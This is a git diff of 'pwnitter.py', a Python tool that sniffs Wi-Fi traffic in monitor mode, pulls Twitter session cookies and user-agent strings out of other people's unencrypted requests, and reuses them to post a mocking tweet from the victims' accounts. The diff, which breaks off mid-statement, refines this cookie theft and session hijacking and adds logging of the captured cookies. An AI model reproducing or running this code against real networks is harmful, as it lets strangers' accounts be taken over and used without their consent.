X-Git-Url: http://git.maemo.org/git/?a=blobdiff_plain;f=pwnitter.py;h=a007b0bcd98df9d9e42bf951e70c21f9a9455f8c;hb=ab2fcb0b0f3c98e553026a7183708e98224c41a9;hp=faca1256f338d15396f6f14c9a965943a09f98e4;hpb=7175881e49219e58ddf6e4c780960ccb5103d8d4;p=pwnitter diff --git a/pwnitter.py b/pwnitter.py index faca125..a007b0b 100755 --- a/pwnitter.py +++ b/pwnitter.py @@ -8,11 +8,13 @@ import dbus.service import dbus.mainloop.glib import getopt, sys, pcap, dpkt, re, httplib, urllib import logging +import logging.config import socket import time import gobject import select import subprocess +import urllib2 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.' @@ -23,12 +25,13 @@ def usage(): NAME = 'de.cryptobitch.muelli.Pwnitter' class Pwnitter(dbus.service.Object): - def __init__(self, bus, object_name, device='mon0'): + def __init__(self, bus, object_name, device='mon0', run_once_only=False): super(Pwnitter, self).__init__(bus, object_name) self.device = device self.status = status self.is_running = False + self.run_once_only = run_once_only def setup_monitor(device='mon0'): # FIXME: Replace hardcoded interface @@ -42,7 +45,10 @@ class Pwnitter(dbus.service.Object): def Start(self, filename=None): # FIXME: Prevent double Start() if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device - self.setup_monitor(self.device) + self.setup_monitor(device) + device = self.device + else: # We have given a filename, so let's make PCap read from the file + device = filename self.is_running = True try: self.cap = pcap.pcap(device) @@ -80,7 +86,7 @@ class Pwnitter(dbus.service.Object): return self.status - def tear_down_monitor(device='mon0'): + def tear_down_monitor(self, device='mon0'): cmd = '/sbin/ifconfig mon0 down'.split() subprocess.call(cmd) cmd = '/usr/sbin/iw dev mon0 del'.split() @@ -97,11 +103,13 @@ class Pwnitter(dbus.service.Object): def pwn(self, device, tweeted_callback=None): + log = logging.getLogger('pwn') + processed = {} if self.is_running: # This is probably not needed, but I feel better checking it more than too less ts, raw = self.cap.next() eth = dpkt.ethernet.Ethernet(raw) - #print 'got a packet' + log.debug('got a packet') # Depending on platform, we can either get fully formed packets or unclassified radio data if isinstance(eth.data, str): data = eth.data @@ -110,26 +118,37 @@ class Pwnitter(dbus.service.Object): hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data) if hostMatches: - print 'Host matched' host = hostMatches.group(1) - + log.debug('Host matched %s', host) + + user_agent_matches = re.search('User-Agent: ([^\n]+)', data) + if user_agent_matches: + user_agent = user_agent_matches.group(1) + log.debug('Found UserAgent: %s', user_agent) + else: + user_agent = "Mozilla/5.0" + cookieMatches = re.search('Cookie: ([^\n]+)', data) + log.debug('CookieMatches? %r', cookieMatches) + if cookieMatches: cookie = cookieMatches.group(1) + log.debug('yummie Cookie %r', cookie) headers = { - "User-Agent": "Mozilla/5.0", + "User-Agent": user_agent, "Cookie": cookie, } - conn = httplib.HTTPSConnection(host) try: - conn.request("GET", "/", None, headers) + page = urllib2.urlopen("https://%s/" % host).read() except socket.error, e: - print e + log.error(e) else: - response = conn.getresponse() - page = response.read() + log.debug('Connected to host %s', host) + #log.debug("%s", page) + if '''